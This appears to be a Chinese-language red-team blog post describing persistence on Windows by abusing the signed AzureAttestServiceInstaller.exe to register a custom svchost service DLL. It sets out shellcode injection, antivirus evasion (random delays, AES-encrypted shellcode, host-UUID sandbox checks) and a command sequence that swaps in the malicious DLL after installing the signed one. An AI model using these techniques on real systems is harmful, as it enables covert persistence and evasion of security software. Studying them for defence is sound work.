6

利用Azure Attest Service持久化

 2 years ago
source link: https://yanghaoi.github.io/2022/08/29/li-yong-azureattestservice-chi-jiu-hua/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 简介

AzureAttestService是安装SQL Server 2019后存在的服务,用于远程验证平台的可信度和其中运行的二进制文件的完整性,详细说明见 Microsoft Azure AttestationAzureAttestService存在DLL类型服务文件AzureAttestService.dll和服务安装程序AzureAttestServiceInstaller.exe,可以通过服务安装程序对服务进行安装、启动停止和卸载。服务安装程序对DLL文件的验证存在问题,其未对要安装的服务DLL进行合法性检测,可将任意服务DLL安装为系统服务,通过这种方式可以绕过安全软件防御进行权限维持。本文测试系统环境为WIN10 x64 1809

0x02 服务程序测试

AzureAttestServiceInstaller.exeAzureAttestService.dll 均是由微软签名的文件,其中AzureAttestServiceInstaller.exe 有4个参数用于服务的操作(-h):

2309fe408fa13ed263be8312c6403426.png

其中 -Install <path to service dll>参数可以将DLL注册成为svchost.exe托管的system权限系统服务:

28a51d2ef523b0fe915b05ae9060855d.png

注册完成后可以在注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\AzureAttestService 项目中查询到对应注册信息:

e72f7d2d72c069b195aad4ec652ff566.png

Parameters项中可查询服务DLL路径和导出函数信息:

020f1cfe5dc64520b15d60b4d1b2de07.png

因为AzureAttestServiceInstaller.exe可以将DLL注册为服务,那么可以编写一个服务类型DLL交给其注册即可。在实际利用中,如果直接使用自编写的服务DLL进行安装,安全软件可能会进行弹窗提醒,此时可以通过AzureAttestServiceInstaller.exe命令安装服务、停止服务后替换服务DLL达到绕过目的。在实践之前需要先编写一个DLL类型的服务。

0x03 服务DLL编写

在DLL中实现服务的操作,需要具有一个导出函数并与注册表中的
ServiceMain键值对应,以便svchost.exe执行,默认导出函数是ServiceMain 。查找到的代码示例有MSDN编写ServiceMain函数IRed上的Persisting in svchost.exe with a Service DLL。如果要详细分析服务代码和各个参数作用可以参考《Windows核心编程》中Windows服务篇。本文仅对要编写的代码进行介绍,先需要在ServiceMain函数中通过RegisterServiceCtrlHandler注册一个回调函数来处理SCM的服务控制请求,如对服务的启动、停止等。因为需要通过 AzureAttestServiceInstaller.exe 来注册DLL服务的,所以在DLL中的RegisterServiceCtrlHandler函数第一个参数服务名称需要和该安装程序中默认的名称AzureAttestService保持一致 :

85f0982738ffd88bf71e2df08703b475.png

dwServiceType参数中设置SERVICE_WIN32_SHARE_PROCESS表示服务与其他服务可共享进程以便资源、环境变量等共享,一般宿主进程是svchost.exe
接下来通过ReportSvcStatusSCM返回服务状态,然后就进入用户处理函数ExecuteServiceCodeIRed的示例中是在ExecuteServiceCode 函数的合适位置执行持久化代码:

04f8ed5853df44e07da560d024e9f499.png

在这里执行执行代码时需要考虑到线程阻塞问题,如果直接使用指针方式(*(void(*)())buffer)()执行shellcode,会导致SCM无法正常对该服务进行控制。以下代码通过创建线程执行shellcode注入函数:

7cdc30d346e654313d7d2b066dc8b12c.png

注入shellcode时使用远程线程注入的方式进行,这样做可以让要执行的shellcode与当前DLL模块分离开,代码会在当前svchost.exe进程中分配空间执行:

d6ff7a33f63fb74b0f213448cf3826b1.png

编写完服务DLL代码后,以64位Release模式编译,得到一个服务DLL(ServiceDLL.dll):

6af66677e1210d98ef0939a686e5edac.png

该DLL文件成功通过了AzureAttestServiceInstaller.exe的服务安装、启动、停止和卸载命令测试。为了在实际中使用该方法进行权限维持,还需对服务DLL使用必要的安全规避技术,如对shellcode进行编码或加密等。

0x04 服务DLL安全规避

在本节中会使用随机延时,shellcode加密,主机指纹识别这三种方法来提高服务代码的安全软件规避能力。

0x4-1 随机延时

随机延时功能将注入shellcode的线程延后600~900秒执行,以争取安全软件扫描超时。在延时函数的选择上,不使用常见的Sleep函数进行延时,可以参考synchapi.h头文件中的API函数,如下通过WaitForSingleObject进行5秒延时:

 HANDLE hProcess = GetCurrentProcess();
 // wait for 5 s
 DWORD dw = WaitForSingleObject(hProcess, 5000); 

有了延时函数后还需要一个随机数生成函数配合进行延时,在MSDN上搜索到相关函数rand的示例代码,改动部分代码后可以生成一个伪随机数(种子不变时,每次生成的随机数都一样):

#include <stdlib.h> // rand(), srand()
#include <stdio.h> // printf()
int main(void)
{
    srand(882);
    int r = ((double)rand() / RAND_MAX) * static_cast<__int64>(10000 - 1000) + 1000;
    printf("%d\n", r);
}
470c4511bb5b2cc10b2040cbe9d1884e.png

为了让随机数种子随机一点,通过获取当前时间的毫秒数来设置种子,获取600-900之间的随机数:

#include <stdlib.h> // rand(), srand()
#include <stdio.h> // printf()
int main(void)
{
    SYSTEMTIME stLocal;
    GetLocalTime(&stLocal);
    printf("stLocal.wMilliseconds:%d\n", stLocal.wMilliseconds);
    srand(stLocal.wMilliseconds);
    int r = ((double)rand() / RAND_MAX) * static_cast<__int64>(900 - 600) + 600;
    printf("%d\n", r);
    return 0;
}

发现这样实现的随机数好像都在700以下:

3b25b494aab7a2a5e202ad38660e1ce8.png

发现可以通过随机两次来获得比较随机的值:

#include <windows.h>
#include <stdlib.h>
#include <stdio.h> 
void RangedRandDemo(int range_min, int range_max, int n,int isrand,int* intWait)
{
    for (int i = 0; i < n; i++)
    {
        *intWait = ((double)rand() / RAND_MAX) * (static_cast<__int64>(range_max) - static_cast<__int64>(range_min)) + range_min;
        printf("%6d\n", *intWait);
    }
}

int main(void)
{
    SYSTEMTIME stLocal;
    GetLocalTime(&stLocal);
    printf("stLocal.wMilliseconds:%d\n", stLocal.wMilliseconds);
    srand(stLocal.wMilliseconds);
    int intWait = 600;
    RangedRandDemo(600,900,2, stLocal.wMilliseconds,&intWait);
    printf("intWait:%d\n", intWait);
}

现在执行结果如下,intWait即为我们需要等待的秒数:

ae87f6bc872c632428f3c642811adfa5.png

WaitForSingleObject等待超时后即可执行操作:

DWORD dw = WaitForSingleObject(GetCurrentProcess(), intWait * 1000);
if (WAIT_TIMEOUT == dw) {
printf("[+] Run my code");
}

0x4-2 Shellcode加密

一般来说将shellcode分离加载的规避效果要好于直接硬编码,该位置使用AES算法对原始shellcode文件进行加密,在加密后安全软件无法确定程序意图,之后在服务DLL中读取加密文件内容后AES解密执行。我们通过复用Brownie中的AES相关代码来实现对shellcode的加解密,要注意在char*std::string 类型转换时,如果存在\x00会导致截断,所以使用了C++ string::assign()方法赋值:

814fdecbd6a5fbadf520929bb626f06c.png

还需要注意的是,加密脚本中将iv值放在加密文件末尾,API函数GetFileSize在读取文件时如果在文件末尾存在\x00时会忽略该数据,导致读取到的数据大小与实际不符:

8d79a84d4de481b1f62857ca791f4c9e.png

AES加密的python脚本中有对应注释:

556ad86eef7152cb795be4f62e440426.png

实际使用的是随机提取的iviv = Random.new().read(AES.block_size),在没完全理解该随机方法之前错误估计该值最后一位有几率取到\x00,改了下代码把最后一个元素设置为了固定值,导致了后续解密时一个bug产生:

8b3df0ac769db69e25a02d59d8ca6096.png

这样改动后解密出来的shellcode就有部分字节与源数据不一致:

8a6050213176edd4eb743a85661ce55a.png

意识到解密存在错误后,将加密代码恢复原样后,成功在测试程序中解密并执行了shellcode,同时windows defender保持静默:

8239395a300f0663f1a4a9492c407103.png

0x4-3 主机指纹识别

在获得目标主机权限后需要获取其产品uuid,然后硬编码到服务DLL中用于和WQL查询得到的主机uuid信息对比,检测该主机是否为预设主机,以此规避沙箱环境。命令模式下可使用wmic csproduct list full 查询产品信息中的主机uuid:

9f218be4c058f57bcec292172f125073.png

GUI下可使用wbemtest命令打开实用工具枚举实例 Win32_ComputerSystemProduct实例:

4476fd316acf055b1b6961d79ebe1d8a.png

DLL中通过C++使用COM编程执行WQL查询获取uuid的代码直接修改自MSDN上的示例wmi-data-from-the-local-computer,需要查询Win32_ComputerSystemProduct类中uuid的值:

6d3a8050f7dd8010e369680ca31896f3.png

查询到结果后判断uuid是否与预设相等:

cc18b51fc76c7d570367029a7391914d.png

程序执行后成功确认了主机uuid:

8b046305d10c4d1cab308cad74e7f469.png

在测试程序中实现uuid检测后,需要将测试好的代码移植到服务DLL中,完成后运行测试发现一个之前遇到的CoInitializeSecurity已被调用问题,因为是在线程中进行COM调用,可能在之前已经有过COM调用,所以加入返回值判断即可:

43ce3820b11d755af5eb27fc1c3bd664.png

启动服务后查看写入的日志,发现已经成功执行shellcode:

a546c838d919e7d060ab763873f43c79.png

最后将官方AzureAttestService.dll(147kb)的资源信息也拷贝到自编写的服务DLL中(72kb):

ca52f6a5a785fc1875fa60dadfd03320.png

这一步的规避措施就编写完毕了,接下来对服务DLL进行测试。

0x05 安装服务DLL

在上文中已经编写好了服务类型DLL并使用了一些规避手段,直接通过安装程序命令安装服务:

6531952218bd67047efd6a9052b9cc41.png

在PID为1664的svchost.exe进程中成功执行了shellcode返回beacon:

be155d973e5e5fcaaadbf0694e03dc40.png

在实际利用过程中,如果直接将自编写的服务DLL进行注册,会被安全软件行为拦截:

f7dae8d9b0b24f747e613dba309484d4.png

所以应该先使用都具有签名的文件注册服务,然后停止服务并替换服务DLL文件。刚好签名文件AzureAttestServiceInstaller.exe提供了操作需要的命令:

// 安装签名服务DLL
AzureAttestServiceInstaller.exe -Install AzureAttestService.dll
// 完成后停止服务,解除DLL文件占用
AzureAttestServiceInstaller.exe -StopService
// 替换服务DLL
move AzureAttestService.dll AzureAttestService.dll.bak
move ServiceDLL.dll AzureAttestService.dll
// 启动服务,执行恶意代码
AzureAttestServiceInstaller.exe -StartService
8fba499cecad9cfdbf50b2652c69afea.png

服务成功在PID为2920的svchost.exe中启动:

666bb9e479c7f92b61249684cbae01fc.png

之后成功返回了beacon:

81e913d3e3668dda0e0726acfeb774fc.png

最终我们可以在windows defender和数字卫士全家桶保护的主机中成功启动PID为428的svchost服务进程:

8ee072f52acf82302d9e98d7d22cd617.png

在等待一段时间之后,成功返回了beacon:

c3a88226cb0dddb5459fb05359924de9.png

0x06 文末总结

本文记录了从发现AzureAttestService服务注册机制,提取出具有签名的服务安装程序和服务DLL,随后利用签名文件注册服务、停止服务绕过安全软件行为监控获得已创建完成的系统服务,再替换服务DLL文件获得持久化的过程。
在服务DLL中实现了代码加密,随机延迟,主机uuid检测等规避手段,绕过两种安全软件保护达到了在目标主机进行持久化效果。

0x07 参考链接

writing-a-servicemain-function
persisting-in-svchost.exe-with-a-service-dll-servicemain
https://docs.microsoft.com/en-ca/azure/attestation/overview
https://github.com/slaeryan/AQUARMOURY/tree/master/Brownie


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK